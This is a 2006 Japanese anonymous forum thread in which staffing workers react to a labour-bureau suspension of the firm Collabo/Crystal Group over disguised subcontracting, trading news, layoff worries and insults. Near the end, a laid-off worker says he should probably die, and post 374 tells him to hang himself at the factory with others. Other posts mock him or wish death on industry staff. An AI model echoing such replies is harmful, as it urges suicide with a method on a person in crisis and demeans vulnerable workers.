252 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:17:06 ID:MY0wQmz00
何が再チャレンジだ。何が派遣だ。何が偽装請負だ。
何が事業停止だ。

俺たちの働く場所を奪うのか。
収入源奪うのか。
俺たちに生きるなというのか。

253 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:18:01 ID:v3OyxMqQ0
うちとは関係ないって
言うんだろーな、
クリ廃る

254 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:20:26 ID:i9FFivFF0
うちのとこなんかコラボが人集まらないから一部のラインから撤退して
そこに入った業者は日総だよ。
おいおいおいおいおい日総とコラボレートならまだコラボレートのほうが
良心的じゃね?

255 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:24:26 ID:v3OyxMqQ0
日本の製造業、IT産業は
偽装請負まみれ。
そのうち潰れるわ

256 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:25:58 ID:p2faZk7N0
このスレで書かれてる「〜せよ」っていう通達、
今までネタかと思ったらマジで事業所に通達来てたんだな。
今日所長さんと談話してるときに見せてもらった。
つか所長さん10月一杯で退職するって言ってた。
なんか悲しいな。すげぇいい人だし、違うとこ行っても多分いい職につけるよ。

257 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:28:17 ID:p2faZk7N0
ちなみにその所長さんは年棒で300万契約らしい。
300万。下からは愚痴聞かされたり要望出されて、
上からは無理なことをああしろこうしろ言われて、
挟み撃ちでもう辛かったらしいよ。

258 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:29:10 ID:4LZIYl2S0
管理者の俺がいうのもなんだが。現在の製造メーカーの好景気
は今現在現場で働いてる派遣社員請負社員の多大なる犠牲のお
陰といっても過言ではないだろう。今一度、日本の大手メーカ
ーはその点を認識してほしい。俺は苦楽を共にすごした管理先
の社員達が心配でコラボをやめれない。

259 :ちょめっと:2006/10/03(火) 22:32:51 ID:fRvfNQJdO
専大。真歯死コラボと共倒れ、会社と最後までコラボレートしちゃいますぅ〜みんな突いてこいっ(ぶらっくりばぁ

260 :名無しさん:2006/10/03(火) 22:35:11 ID:Q0aBAMg50
メーカーはそういうことわかってて偽装請負業者と手組んでるんだよ。
例えば政党で共産党以外の政党は何も言わないのがいい証拠。
本来民主党が言うべきことなのに、労働組合がバックについてる民主党が声あげるわけない。
だから共産党だけ。共産党はまともなこといってるけど、
共産党のいうことだからと世間ではこういう問題があること自体今まで知られなかった。
今回のニュースはちょっとは世間に認識が広がったかな?
まぁ何もかわんないんだろうけどね^^;

261 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:40:25 ID:TzyRXnkBO
今でも派遣社員を使って利益出してる大企業は、潰れるか、偽装を隠し続けるかどっちかだ。
結果潰れるが

262 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:42:12 ID:DW1PANE80
>>257
コラボの所長さん?

263 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:43:34 ID:4LZIYl2S0
>>260
自分は政党や政治にはさほど詳しくないのでなんとも言えませんが
共産党が確かに問題として取り上げましたが綺麗事しか言ってない
と思います。実質問題として中国等と競争する為、日本の経済が立
ち直る為には必要な犠牲だとも思いますし。実質全て正社員雇用し
てしまって大手メーカーが潰れたり海外へ製造拠点をシフトしよう
ものならそれこそ弱い立場の人達は生活していけないでしょう。
悪い事を糾弾するだけではなく、実のある意見提案をしてほしいで
すね。この件でコラボから大量に失業者がでた場合果たして共産党
のやったことがよいことかどうか微妙ですよ。結果論ですが。
長文スマソです。

264 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:47:52 ID:LRXwa/rs0
コラボの営業所に勤めてたことがあるんだが
悪徳路線を引いた社長は数ヶ月前に退職した。
クリスタルとは全く別に自ら派遣会社を作る予定で
コラボの所長クラスを次々に引き抜いてるぞ。
今のコラボの現状を笑って眺めてるかもな。

265 :名無しさん@そうだ登録へいこう:2006/10/03(火) 22:53:31 ID:v3OyxMqQ0
>>264
そうやって素晴らしい会社が
雨後の竹の子のごとく生まれてくるわけだ。
そこで働くしかない人間は、
"働けど働けど わが暮らし楽にならざり
じっと手を見る"
だな

266 :名無しさん@そうだ登録へいこう:2006/10/03(火) 23:09:04 ID:BHjfvhdhO
ここは事務員さんはクリスタルからの派遣なんだよね。営業マンはクリスタルからの派遣?

267 :ゆう才10:2006/10/03(火) 23:18:46 ID:fRvfNQJdO
仙台の管理者だった高木(sii)さんと佐藤(セミコン)さんがどこの同業?いくのかいったのかしってるひとおせぇてm(__)m

268 :名無しさん@そうだ登録へいこう:2006/10/03(火) 23:56:15 ID:St79KqZS0
報道ステも23もやらなかったな。
今日の朝のワイドショーあたりかな?

269 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:00:12 ID:9xwtVcY40
景気と反比例する派遣wwwww
一生負け組み、趣味パチンコ
素人童貞


クズの集まり=クリスタルグループ



270 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:03:31 ID:Iqm6zBJVO
というわけでだな、
行政処分食らったクリスタルグループ コラボ シースタ
これらの社名が履歴書にある場合、転職が非常に難しくなっちまうなあ。
新聞とテレビに出ちまったら終わりだよな。
クリスタルに関係ない、いい会社あったら早目に雇ってモラエヨ。
カワイソウやな。

271 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:04:16 ID:tPHZdNFk0
>>それは多分、野々垣か?

272 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:10:56 ID:QoN6WWRvO
労働局はコラボ社から移管した物件に関しても追跡調査開始するとの認識を確認した様子。
今年3月の報告書でコラボ社が偽装請負と報告した物件がグループ内外問わず移管しているケースが多々ある事に注目し、これらに関しても改善がなされてない場合は、移管先会社に対して強い姿勢で対応する事になると思われる。


273 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:15:33 ID:xScziToT0
>1 ウェブサイトを持たないゆえに実体がつかみにくい・・・

まったくだ。このような会社はやめとけ!





274 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:16:59 ID:6SzNFSQe0
>>267
恵胃ムでしょ?
有名な話

275 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:21:55 ID:i2ZvhNEnO
停止だと銀行から給料支払い止められる?

工場で働いている人も働けなくなるの?

276 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:24:22 ID:voLKYL3V0
>>275
大丈夫だよ。

277 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:27:01 ID:ARCuLTHS0
>>275
心配しなくていいよ。ちゃんと給与も出ますよ。
工場でも今まで通り働けるよ。たぶん明日ちゃんと説明があるよ。

278 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:29:27 ID:i2ZvhNEnO
>>276

ありがとう。
でも年末に退職予定だったし。
会社都合とかになれば失業保険すぐでるし。

K1のスポンサーは撤退かな?
怪しい会社同士ならそのままかな。

279 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:29:43 ID:vpzXQw+lO
>>276
駄目だよ
銀行が撤退するから振り込まれなくなる

280 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:31:25 ID:ARCuLTHS0
>>279
うそつくな!!ボケ!!

281 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:33:02 ID:voLKYL3V0
>>277

撤退は撤退でしょうねぇ。会社都合になるかどうかはやり方と状況次第です。

282 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:35:24 ID:NyJJ2lbE0
まぁ、世の中に派遣会社は沢山ある訳だから、どう間違っても

    ↓↓↓↓↓↓注目↓↓↓↓↓↓

 お前らの労働環境は一切向上しません((笑))
       &
 派遣労働者から正社員に転向できる可能性も今迄同様です((爆))

283 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:41:51 ID:u1fzMEAa0
偽装請負の会社で働いてたが、そこはよかったぞ。
会社の取り分が5%と公言してて(本当かどうかはしらんが)
全部自分でやる代わり、金はすごいよかった。

25で月45万もらってた。

284 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:44:52 ID:HPvyXZd70
>>279
取引停止なら聞いた事あるが、撤退?

撤退って何だよ、タコ。

285 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:46:00 ID:hFKq+HNmO
いっそのこと、倒産してくれた方が、雇用保険もすぐに受給出来るし美味しいのだが…
ただ、倒産したら、離職票が未来永劫発行されない罠。

286 :名無しさん@そうだ登録へいこう:2006/10/04(水) 00:53:20 ID:i2ZvhNEnO
根本的な事だけど業務停止って
コラボ全体?
全国の?
そこの営業所だけ?

287 :名無しさん@そうだ登録へいこう:2006/10/04(水) 01:00:30 ID:p2bV8bmx0
>>286
全国のコラボ営業所対象ですね。

288 :名無しさん@そうだ登録へいこう:2006/10/04(水) 01:04:20 ID:hFKq+HNmO
コラボを使っていた企業も、家宅捜査対象らしい

289 :名無しさん@そうだ登録へいこう:2006/10/04(水) 01:11:16 ID:i2ZvhNEnO
>>287

ありがと〜。

なんか心配になってきたよ。

290 :名無しさん@そうだ登録へいこう:2006/10/04(水) 01:47:38 ID:KO6Z5YOS0
ごめん、現状が良く分からないんだが・・・。
今働いてる派遣社員への影響は?
俺、半年ほど前から今の職場に来たんだけど結構今の職場
気に入ってるんだよなぁ・・・。

291 :名無しさん@そうだ登録へいこう:2006/10/04(水) 01:49:35 ID:/6ax3omtO
ウチは新規営業の停止のみだそうな@姫路

292 :名無しさん@そうだ登録へいこう:2006/10/04(水) 01:52:06 ID:KO6Z5YOS0
ちょっと上に似たこと書いてる人がいたな、ごめん。
知り合いからメール来て今日初めて知ったよ・・。
明日、人事の人に聞いてみるか。

293 :名無しさん@そうだ登録へいこう:2006/10/04(水) 01:55:49 ID:Y2ID4G6UO
>>290
おまえ掛〇?

294 :同業社T:2006/10/04(水) 02:01:54 ID:gmoIc59E0
たった2週間かよ!しけてるな☆せめて半年ぐらい停止になれぃ
マスコミもライブドアぐらいに騒げ!!! 

295 :名無しさん@そうだ登録へいこう:2006/10/04(水) 02:05:20 ID:Y2ID4G6UO
>>294
引っ込んでろ野次馬バカ

296 :名無しさん@そうだ登録へいこう:2006/10/04(水) 02:23:54 ID:5cBNWg/TO
スポンサー(受入先企業)がいるからマスコミは騒がない 弱者は損するのみ

297 :名無しさん@そうだ登録へいこう:2006/10/04(水) 05:09:36 ID:TZvzfhFdO
パパ、どうして悪いことしてお金がもらえるの?
あたし、パパきらい!

298 :名無しさん@そうだ登録へいこう:2006/10/04(水) 05:53:44 ID:kfsVI+M4O
このまま潰れてしまえ
世の中、悪い事はできないんだよバーカ!!
過剰搾取会社潰れてしまえ!

299 :名無しさん@そうだ登録へいこう:2006/10/04(水) 05:56:06 ID:kfsVI+M4O
コラボにちゃんと説明できる奴なんていたか?
意味不明な説明でゴニャゴニャごまかすんじゃねーの?


300 :名無しさん@そうだ登録へいこう:2006/10/04(水) 06:05:33 ID:HPvyXZd70
朝刊だと構内請負から完全撤退になってるよ。
場合によっては請負社員の直接雇用を企業側に求めるとも・・・・

かなり、ヤバイ?

301 :名無しさん@そうだ登録へいこう:2006/10/04(水) 06:05:40 ID:Q5zpl2gU0

ね、、、、、、

何で今頃企業を叩くんだろう?
元々「派遣法」設定の時は労働者を切り捨て、企業を守るために、だったのにさ。
「偽装請負」の件でメディアが騒いだからかな?


いっそ、派遣、請負 完全に追放! ・・・ならんか(*´ω`*)

302 :名無しさん@そうだ登録へいこう:2006/10/04(水) 06:20:41 ID:kfsVI+M4O
撤退しますとだけ公言して書類上だけ撤退

別の会社名で残留
なんてダサい犯罪しかねないなコラボなら…
ゴキブリみたいな会社だな!

303 :名無しさん@そうだ登録へいこう:2006/10/04(水) 07:00:03 ID:TZvzfhFdO
今後は、法令遵守に努めます。←何度も聞いたウソ。

304 :名無しさん@そうだ登録へいこう:2006/10/04(水) 07:17:59 ID:kfsVI+M4O
守らない
絶対守らない
潰れてしまえ!

305 :名無しさん@そうだ登録へいこう:2006/10/04(水) 07:33:35 ID:pxQ5jiQdO
1ヶ月の業務停止と書いてあったが?


まぁ、ともかく……………………………………………………………………………………………………色んな意味で邪魔だ潰れろ!!!

306 :名無しさん@そうだ登録へいこう:2006/10/04(水) 07:42:40 ID:/6+b4aOxO
誰か秋田のコラボ情報しらん?

307 :名無しさん@そうだ登録へいこう:2006/10/04(水) 07:45:21 ID:QoN6WWRvO
ついにクリスタル出身者の立ち上げ会社の記事も朝日ネットに出た〜!


308 :名無しさん@そうだ登録へいこう:2006/10/04(水) 07:45:59 ID:FbglBIvKO
この労働局の制裁でコラボ含めこの業界の
労働者の何人が幸せになり何人が不幸になる
のかね。
できればあぶり出される人がいないことを
願います。

309 :名無しさん@そうだ登録へいこう:2006/10/04(水) 07:47:43 ID:R1RNGJ5hO
ついでに沼図のばか署長様も出勤停止か撤退してくれ。

310 :名無しさん@そうだ登録へいこう:2006/10/04(水) 08:22:06 ID:0lnfBazXO
亀山の今後は?

311 :名無しさん@そうだ登録へいこう:2006/10/04(水) 08:30:41 ID:hAf2P5MtO
林!!てめぇ!!いいかげん隠れてねぇで出てこいよ!!


312 :名無しさん@そうだ登録へいこう:2006/10/04(水) 08:35:54 ID:z7kJpqlV0
4日付の読売朝刊(社会面)に事業停止が載ってたぞ。
製造請負から撤退はするが製造派遣は続けると解釈できます。

浅○功○郎 社長曰く、
「深くお詫びする。さらなる順法化の為、製造請負から撤退し、自社工場での生産受託に転換する」


313 :名無しさん@そうだ登録へいこう:2006/10/04(水) 08:46:29 ID:s561XUZk0
コラボレート、「構内請負」から撤退へ これって松下も?

ttp://www.asahi.com/national/update/1004/TKY200610030499.html

314 :名無しさん@そうだ登録へいこう:2006/10/04(水) 09:02:32 ID:GWQ5+qVkO
何も説明ないんだが
松下神戸工場

315 :名無しさん@そうだ登録へいこう:2006/10/04(水) 09:10:31 ID:QhROEVS+0
何も説明を求めてこないんだが
松下神戸工場

316 :名無しさん@そうだ登録へいこう:2006/10/04(水) 09:33:10 ID:Q5zpl2gU0
>>313
ふひひ( ^ω^)
ざまあねえよなぁ。
さ、営業で昼寝してた諸君、日研の請負でもしてこいやw

317 :名無しさん@そうだ登録へいこう:2006/10/04(水) 09:39:38 ID:VuIhrqe0O
請負から撤退するってのはだなあ。偽装請負している取引先に、「派遣に変えてください。」って言うだろ。
取引先が駄目だ嫌だというと、「では撤退させてもらいます。」と居直ることさ。
撤退を取引先のせいにして、また従業員を放棄するって事だよ。
しかもだな、偽装請負はいけません。こっちは労働局がバックについてます。とでも言わんばかりの姿勢でな。正義づらしてよ。
まあさ、まず取引先と従業員に一から十までキッチリと納得してもらうまで説明しろや。

318 :名無しさん@そうだ登録へいこう:2006/10/04(水) 10:02:14 ID:s561XUZk0
派遣にすればいいじゃん。
直接雇用がいやなら、満了期間になるまで、人を変えたらいいじゃん

直接雇用希望者の期待
派遣者が、同じところで働けない→別の安定な職場を求める→派遣希望者が減る
→派遣を送れない→メーカーが困る→直接雇用増える→結果よし?

派遣希望者の働き方
派遣→満了前に別の現場に移動→満了前に別の現場に移動→エンドレス
同じ現場では働けないので、毎回毎回位置から覚えなおし(製造の場合)
しばられないからいいかも、でも職歴あまり残らない?

319 :馬鹿でもわかる展開:2006/10/04(水) 11:57:30 ID:VuIhrqe0O
行政指導に従わない。

営業停止

取引解約かシェアダウン

従業員余剰

新規営業先壊滅状態
既存取引先受け入れ×

従業員解雇

再三の行政指導に背を向けた事で、コラボが従業員の方を向いていないことが結果として証明された。
人を全く大切にしない会社で、まだ働き続ける理由が俺にはワカラン。
のの→あかやん→あさやん(まだいたかな?)
約一年間に三人以上社長替わる会社で、これから何が良くなるというの?
どうせまた社名変更するんだろうな。
めちゃめちゃだよ、会社じゃないよ。


320 :名無しさん@そうだ登録へいこう:2006/10/04(水) 12:20:40 ID:fU9+7Cuz0
>>319
>コラボが従業員の方を向いていないことが結果として証明された。

最初からみんな分かってます

>まだ働き続ける理由が俺にはワカラン。

正規社員になれるんなら誰もこんなところで働きません

321 :名無しさん@そうだ登録へいこう:2006/10/04(水) 12:23:19 ID:ycc8MBGS0
この前知り合いからこんな話を聞いた。
今は偽装・違法って言われていても仕方ないと思う。
でも実際はこの会社だけじゃないんだよねって。
あるとこで派遣むすんでるとこあるみたいだけど、
そこには別の請負入ってるらしくて、その会社で欠勤が出ると、
コラの人勝手に連れて行って請負担当の場所やらされるらしいよ。
企業も見て見ぬフリ。そっちの方がやばいんじゃない?
そこには現場から上がった管理がいてどこも生産あるんだし、
勝手に連れて行かないでくれって言ったらしいんだけど、
こっちが残業になるとか訳わかんない理由で使われることがあるらしい。
その話聞いたときはかわいそうだった。
そうゆうのは違法じゃないの???

322 :名無しさん@そうだ登録へいこう:2006/10/04(水) 12:43:54 ID:9KkLU1M20
>>302
それやったら次は逮捕者が出る確率が一気に上がるw
残ったオプションは事業廃止命令と刑事告発だから

323 :名無しさん@そうだ登録へいこう:2006/10/04(水) 13:01:16 ID:tgbDrPql0
http://osaka-rodo.go.jp/staff/press/2006.10/haken_shobun.htm

クソスレ終了

324 :名無しさん@そうだ登録へいこう:2006/10/04(水) 13:25:54 ID:Yl55DfJi0
なにも変わらないから安心しろw
契約書の『就労場所』が「コラボ○○工場」になるだけww


325 :名無しさん@そうだ登録へいこう:2006/10/04(水) 13:39:38 ID:ZjRUrXc60
「ナンバーワンになるには…違法行為は許される」 名言通りの実行なのか? w

326 :名無しさん@そうだ登録へいこう:2006/10/04(水) 14:10:48 ID:x4/8HgNCO
千台だが…左先に解約するから自分の管理してるとこ持って他社に行きなってイワレタヨ。ヤッタネ

327 :名無しさん@そうだ登録へいこう:2006/10/04(水) 14:12:11 ID:x4/8HgNCO
千台ですが…左先に解約するから自分の管理してるとこ持って他社に行きなって、イワレタヨ。ヤッタネ

328 :名無しさん@そうだ登録へいこう:2006/10/04(水) 14:25:24 ID:s5FUi9OD0
業務停止が出ちゃったから、さかのぼりで10月1日付けで
メーカーと基本契約及び従業員と個別契約、、、、
よくやるよ、、、
労働局が、この事実を把握しているのだろうか?
完全な脱法行為だよね。

メーカーも一緒に捕まっちまえ!!
ね、○○ーさん



329 :名無しさん@そうだ登録へいこう:2006/10/04(水) 14:37:33 ID:NvudJzz/O
仙台は大丈夫だった。担当者から連絡キター

330 :名無しさん@そうだ登録へいこう:2006/10/04(水) 14:56:33 ID:wWavbW2BO
>>319
この前話してくれた人と口調がかなり似てるんだが偶然だろうか。

331 :名無しさん@そうだ登録へいこう:2006/10/04(水) 14:57:14 ID:KjTMNjgq0
コラボの人大変だな・・・

そういや、シー○ックも似たような手口してたような・・・

告発カ?

332 :名無し:2006/10/04(水) 15:25:50 ID:i4SUbG4jO
けど、コラボレートの工場に生産を依頼するdnq会社はあるのか?

333 :名無しさん@そうだ登録へいこう:2006/10/04(水) 15:30:31 ID:s561XUZk0
>324
>なにも変わらないから安心しろw
>契約書の『就労場所』が「コラボ○○工場」になるだけww
          ↑
他の請負・派遣会社がはいってたらどうするの?
コラボ単独ならわからないこともないが・・・無理でしょう!


334 :名無しさん@そうだ登録へいこう:2006/10/04(水) 15:43:23 ID:wwZYRRrE0
>>333
つM下PDP内コラボ○○工場

335 :名無しさん@そうだ登録へいこう:2006/10/04(水) 15:43:39 ID:FEp99Q4C0
153 名無しさん@七周年 2006/10/04(水) 12:52:55 ID:I04pQa8y0
受け入れ側も派遣されて来てるやつを直接雇用しろよ。
契約社員でもいいからさ。

あと、人を物のように流すだけで飯食ってる派遣業界は潰すべき。
業界の正社員の雇用など、どうでもいい。路頭に迷え。そして死ね。

336 :名無しさん@そうだ登録へいこう:2006/10/04(水) 15:45:29 ID:pW3ByL33O
茨城はどんな感じ?
何の説明も無いんだが・・・。

337 :名無しさん@そうだ登録へいこう:2006/10/04(水) 15:47:12 ID:pW3ByL33O
庵みたい

338 :名無しさん@そうだ登録へいこう:2006/10/04(水) 15:47:55 ID:s561XUZk0
>334
なるほど、そういう方法があるのか・・・
だだし、コラボは工場を一切自分で作ってないですよね^_^;

339 :名無しさん@そうだ登録へいこう:2006/10/04(水) 15:53:08 ID:dezODmFo0
神奈川の某営業所から派遣で工場勤務してるけど、
特に通達はないしこのまま普通に働けるっぽい流れだな。


もし俺の派遣先からも撤退となれば派遣先はえらいことになるな・・・。
退職金はおろか給料もまともに出そうにないのが怖いとこだ。

このニュース今日初めて知ったけど、
働いてる側からすれば「今更?」ってぐらいあからさまですわw

340 :名無し:2006/10/04(水) 16:02:43 ID:o2bAwn920
コラボ管理を8月でやめて正解だった。

341 :名無しさん@そうだ登録へいこう:2006/10/04(水) 16:14:21 ID:qj3ehEZQ0
さすがにもう危ない橋は渡れないだろう。
次は2週間では済まないからな。
会社名を変えても実態がそのままなら労働局はその辺も追及するはずだし。


342 :名無しさん@そうだ登録へいこう:2006/10/04(水) 16:17:56 ID:VzIYD2YS0
>>129
今頃のレスだが・・・

そういうコラボ含め複数の派遣会社が入ってる大企業で
他の派遣会社が大募集はじめたのなら、(派遣と書いてるけど、請負会社だよね?)
コラボと同様の偽装派遣をその他の会社もしてるところってことでしょ。

いっそのこと、その派遣先企業(請負先企業)ではコラボ以外でも
偽装派遣があると労働局にチクって調査に入ってもらった方が、雇われている
人間がその企業で直雇いにされる可能性もある。

コラボのことを引き合いに出して、労働局にチクってみなよ。
その方が働いてる人間にはプラスになるかも。

343 :名無しさん@そうだ登録へいこう:2006/10/04(水) 16:20:56 ID:+EOmAT/N0
つうか、コラボに行政処分するんなら、コラボと契約してた工場も処分しろよ!
業者側ばかり処分してたら。大企業はこれからも会社変えて同じ事繰り返すだけじゃん

344 :名無しさん@そうだ登録へいこう:2006/10/04(水) 16:43:14 ID:VA63JidSO
氷山の一角に過ぎないよね今回他の業者と企業への見せしめ。
本当に改善させるなら企業側にもなんらかの処分をするのが妥当だろ。

まぁただ今回の事で履歴書にコラボの名前があれば、再就職は更にしにくくなったね。
良かった早めに辞めて転職しててwww

345 :名無しさん@そうだ登録へいこう:2006/10/04(水) 17:01:21 ID:tWl6YoKO0
行政の対応がかなり激アマだね。
営業所内なんか何も変わっていないんでマジびびった。
この程度なんだって。
直接関係ある営業所(本社とか)はどうなのかな?

346 :名無しさん@そうだ登録へいこう:2006/10/04(水) 17:02:19 ID:9KkLU1M20
数レス前の書き込みすら見てないとみえる香具師多すぎ・・・(携帯からの香具師も多いのでしょうがないのか?)

>>338
朝日の報道によれば広島に工場ができたらしい。来春までに10箇所稼動させるとか。

とはいえ同時に「製造請負部門は今期赤字予想」との報道もある。
立ち上げ資金間に合うのかね?w

>>341
繰り返しになるけど、改善されていなければ最低でも事業廃止命令が下ることになる。
これにも従わなければ確実に逮捕者が出るだろーね。

347 :名無しさん@そうだ登録へいこう:2006/10/04(水) 17:14:26 ID:06x8PLJ80
松下系列は2度と再びクリスタルグループと契約してはいけない
すべて解約することで姿勢を正すように
恥を知れ恥をw

348 :名無しさん@そうだ登録へいこう:2006/10/04(水) 17:19:08 ID:VA63JidSO
>>345
ただの見せしめだからね。全国ニュースで大々的に取り上げられたから、それだけで十分コラボ的には痛手だよな。
ただコラボが痛手を生っても、この業界自体の改善には繋がらないよ、雇用先の企業を取り締まらないと。

349 :名無しさん@そうだ登録へいこう:2006/10/04(水) 17:21:39 ID:kfsVI+M4O
MPDP内コラボ内○○工場と表して偽装請負をするんですか??
ガキが何時何分何秒とかっていうくらいのガキレベルコラボ
さっさと潰れてまえ!

350 :名無しさん@そうだ登録へいこう:2006/10/04(水) 17:22:47 ID:VA63JidSO
>>338
広島の尾道工場があるだろ。
現場の社員か?
管理社員経験者なら誰でも知ってるぞ。
パンフにも載ってるしww

351 :名無しさん@そうだ登録へいこう:2006/10/04(水) 17:26:26 ID:9KkLU1M20
>>348
雇用先たたきは朝日がある程度尖兵をつとめてくれた。そのうちテレビで特集をやるだろうとみている。

今回の処分報道は栗が批判報道されても訴えられなくするための布石とみればいい。
おそらく労働局も栗の訴訟権乱用の件は知っているはず。
でなきゃわざわざ事前に「処分を検討している」ことをリークするなんてまねはしない。

352 :名無しさん@そうだ登録へいこう:2006/10/04(水) 18:04:13 ID:ciiZA9IR0

書いてるみんなアホやね。
業務停止になると同業が取引先取りにくるねんで?
ってなったらスタッフの移管がなかったら今コラボで
働いてる奴らの仕事が無くなる。
無職。
他の派遣会社に入る。
またその会社の文句言う。
辞める。
他の派遣会社に入る・・・

人生負け。w
しょうもない人生やね☆

353 :名無しさん@そうだ登録へいこう:2006/10/04(水) 18:04:46 ID:lQItclpW0
誰か滋賀県の草津市岡本のダイ○ンのコラボの人いない?
なんかいっさいなんの説明もなく今まで通りなんだけど、心配でしょうがない。


354 :名無しさん@そうだ登録へいこう:2006/10/04(水) 18:05:26 ID:lQItclpW0
>>352
しょうもない人生送ってるんですか?
大変ですねぇ。

355 :名無しさん@そうだ登録へいこう:2006/10/04(水) 18:08:00 ID:n7pgot8Q0
うちの所長、マジでかなり余裕こいてんだけど、こんなものなの?

356 :名無しさん@そうだ登録へいこう:2006/10/04(水) 18:09:37 ID:ciiZA9IR0
>>354
ありがとう。
けど俺取りにいかせてる立場ね。
俺若いけどコラボのおかげでお金持ち。
けどコラボの派遣社員いらん。
クソやもん。
うちみたいにちっちゃい会社は監査入らないからね。
あと3年したら会社売ってリタイヤしましゅ。

・・・暇。

357 :名無しさん@そうだ登録へいこう:2006/10/04(水) 18:10:34 ID:lQItclpW0
>>355
所長やってる人はもうみんな諦めてるからね。
所長なるまでにある意味悟り開いてるって。
つか所長なって辞めて、人引き抜いてコラボレートみたいな派遣会社
たとあげてる人多いよ。

358 :名無しさん@そうだ登録へいこう:2006/10/04(水) 18:18:35 ID:TZvzfhFdO
>>329
何が大丈夫なんだ! 今月末で解約ですすんでるじゃねぇ〜かよ。千台、終りだ!

359 :名無しさん@そうだ登録へいこう:2006/10/04(水) 18:23:31 ID:jMqoT0Pb0
今回の新聞報道は同業他社にとっては最高の営業ツールになるだろう
ね。営業先にコピーして持って行って、こんな悪質な会社使ってるん
ですか?って。現場の方、契約移管や更新中止なんかの情報よろ。

360 :名無しさん@そうだ登録へいこう:2006/10/04(水) 18:54:13 ID:HiDDeyiI0
京都ではリストラがあったらしい

361 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:05:13 ID:Tu5GFhFK0
今月一杯でリストラになっちゃった
なんかわざわざコラボが撤退もちかけてリストラになったらしい
ひどすぎる


362 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:06:58 ID:Tu5GFhFK0
こんなことなら何ヶ月か前に有給消化してやめればよかったなぁ・・・
あー有給もったいない

363 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:09:04 ID:Tu5GFhFK0
ていうかわざわざ、今までありがとうとか
大変だな気の毒にとか励ましの言葉まで言われたよ
俺もうなんもやる気なくなった

364 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:10:59 ID:uYYWGg780
泣けてきた
自業自得なんだろうなんだけど、ささやかな
少ない給料でもわりと満足してたのに、そんなささやかな生活さえ
許されないなんて今の世の中どうにかしてるよ

なんなんだよ
うう・・・

365 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:12:47 ID:uYYWGg780
あー俺の愚痴聞いてくれ
俺月の手取り平均12万ぐらいでがんばってきてたんだ
もうなんか泣けてきた
寮に住んでるから今月一杯で寮からも追い出される
家は家出して出てきたし今更頼るわけにはいかんし
どうしたらいいんだ

366 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:17:28 ID:uYYWGg780
というかコラボレートはほんと無責任だな
最後まで無責任だな
俺なんだかんだ言っても
あと10年ぐらいはコラボレートで働いてるんだろうなぁ
なんて考えてたのに


367 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:21:37 ID:qj3ehEZQ0
>>365
答えは分かってるんだろ。速やかに次の仕事を探すことだ。
求人誌を集めろ。職安に通え。戦え、倒せ、ブチ頃せ!

368 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:22:02 ID:z7kJpqlV0
>>365
何だかんだ言っても家族なわけですし、これを機会に実家へ帰っては?

誰のおかげで給料もらってるのか解ってない無能な所長が多いのが現状。
交渉下手のアフォが原因でリストラですか・・・・事実なら許せませんな

369 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:29:02 ID:s5FUi9OD0
DQNばっかだな。

370 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:32:51 ID:06x8PLJ80
共犯者の泣き落とし
手取り12万ならどこでもある
犯罪の共犯になって12万円も見上げたもんだw

371 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:33:06 ID:XMI+FCkb0
>>367
いやもう俺疲れたよ冗談抜きで。
まさかこんな感じで今の仕事から離れることなんて思ってなかったから
かなりショック。もう立ち直れそうにない。

>>368
つか実家沖縄だしまず交通費からしてないんだよな・・・。
もうホームレスになりそう。

372 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:34:36 ID:XMI+FCkb0
>>370
しかも元アクティスの製造正社員で1回やめて
また契約社員として戻ってきたダメ人間です
もう笑ってくれwwwwwwwwww

373 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:36:20 ID:XMI+FCkb0
あははははははは!!!!!!
もう俺まじ死んだほうがいいよね
もうすぐ年齢30だよ
もう俺にまともに仕事探せるわけねーじゃん
ほんと住むとこないし貯金もないし仕事もないで
終わりじゃん俺

374 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:37:40 ID:06x8PLJ80
>>371
夜中に工場へこっそり忍び込んで、ロープを引っ掛けて首を吊ればいいよ
10人くらい呼んで集めて並んで首吊れば? 恐いだろなw

375 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:40:39 ID:9FSbgfq20
>>362
有休はな、退職時であれば使用者と従業員の合意があれば買い取ってもらえるんだよ。
今回の件は、会社側の不手際によるものだからそこを突き上げてやればもらえるだろ。

376 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:42:30 ID:qj3ehEZQ0
